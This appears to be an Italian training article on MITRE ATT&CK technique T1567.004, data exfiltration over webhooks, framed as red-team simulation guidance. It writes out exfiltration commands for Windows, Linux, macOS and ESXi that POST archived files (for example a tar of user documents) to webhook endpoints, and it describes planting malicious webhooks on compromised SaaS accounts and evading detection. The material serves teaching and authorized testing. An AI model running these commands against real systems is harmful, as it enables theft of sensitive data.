Esfiltrazione via Webhook: Exfiltration Over Webhook (T1567.004)

La tecnica T1567.004 - Exfiltration Over Webhook descrive l'abuso di endpoint webhook pubblici o commerciali come canale alternativo per l'esfiltrazione di dati, in sostituzione o affiancamento al canale C2 primario. Si colloca nella tattica TA0010 (Exfiltration) del framework MITRE ATT&CK e rappresenta una fase avanzata della kill chain, tipicamente successiva alla raccolta e allo staging delle informazioni sensibili.

Un webhook è un meccanismo che consente a un server di inviare dati via HTTP/S verso un client senza polling continuo. Servizi come Discord, Slack e webhook.site offrono la creazione di endpoint riceventi con configurazione minima, spesso senza autenticazione forte. L'avversario può collegare un ambiente sotto il proprio controllo a un servizio SaaS della vittima per ottenere esfiltrazione automatizzata di email, chat e documenti, oppure inviare manualmente payload stagerati direttamente all'URL.

Due caratteristiche rendono la tecnica particolarmente insidiosa. La prima è che il traffico viaggia su HTTPS verso domini legittimi ampiamente utilizzati in ambito aziendale, mimetizzandosi con il traffico collaborativo lecito. La seconda è l'assenza di infrastruttura C2 dedicata da mantenere: l'attaccante sfrutta piattaforme di terze parti che spesso non sono bloccate dai proxy aziendali proprio perché considerate business-critical. L'impatto tipico include furto di proprietà intellettuale, credenziali, dati PII e comunicazioni riservate, con difficoltà di attribuzione elevate data la natura condivisa dei servizi coinvolti.

In un esercizio red team autorizzato, la simulazione di T1567.004 richiede la creazione di un endpoint ricevente controllato e la generazione di traffico realistico verso di esso. Il tool più immediato per il proof-of-concept è webhook.site (freemium), che fornisce un URL univoco e mostra in tempo reale i payload ricevuti — utile per validare la catena senza dover configurare infrastruttura.

Su Windows, la catena tipica prevede staging locale seguito da POST HTTPS. Con PowerShell nativo, dopo aver compresso una cartella target, l'invio si realizza con Invoke-WebRequest -Uri -Method POST -InFile C:\Temp\staged.zip -ContentType 'application/octet-stream'. Per aumentare il realismo operativo, molti team usano Nishang (open source) o moduli custom di Empire (open source) che incorporano funzioni di esfiltrazione via webhook Discord o Slack. Il payload può essere frammentato in chunk base64 per rispettare i limiti di dimensione tipici (8 MB su Discord webhook standard).

Su Linux, la simulazione è ancora più diretta. Dopo aver raccolto file sensibili, un one-liner come tar czf - /home/user/docs | curl -X POST --data-binary @- riproduce il pattern tipico. Per catene più sofisticate si può usare exfil-kit o script Python con la libreria requests, applicando cifratura AES lato client prima dell'invio per simulare avversari avanzati.

Su macOS l'approccio combina AppleScript e utility CLI. Un flusso realistico legge la clipboard o file specifici con osascript, poi trasmette con curl -X POST -H 'Content-Type: application/json' -d @payload.json . Automator può orchestrare workflow che si attivano su eventi utente, aumentando la persistenza del canale.

Su ESXi, il vettore sfrutta l'accesso alla console o a script di gestione: dopo aver copiato file .vmdk o log da hostd, l'invio avviene con curl dalla shell ESXi verso il webhook esterno.

Per scenari SaaS, la parte più insidiosa consiste nel registrare un webhook malevolo su servizi come Jira, GitHub o Trello compromessi via account privilegiato. Ogni evento sul progetto genera automaticamente un POST verso l'endpoint dell'attaccante, realizzando esfiltrazione continua senza ulteriore interazione. Strumenti come Burp Suite (freemium) e mitmproxy (open source) sono utili in laboratorio per ispezionare e modificare i payload trasmessi durante il test.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.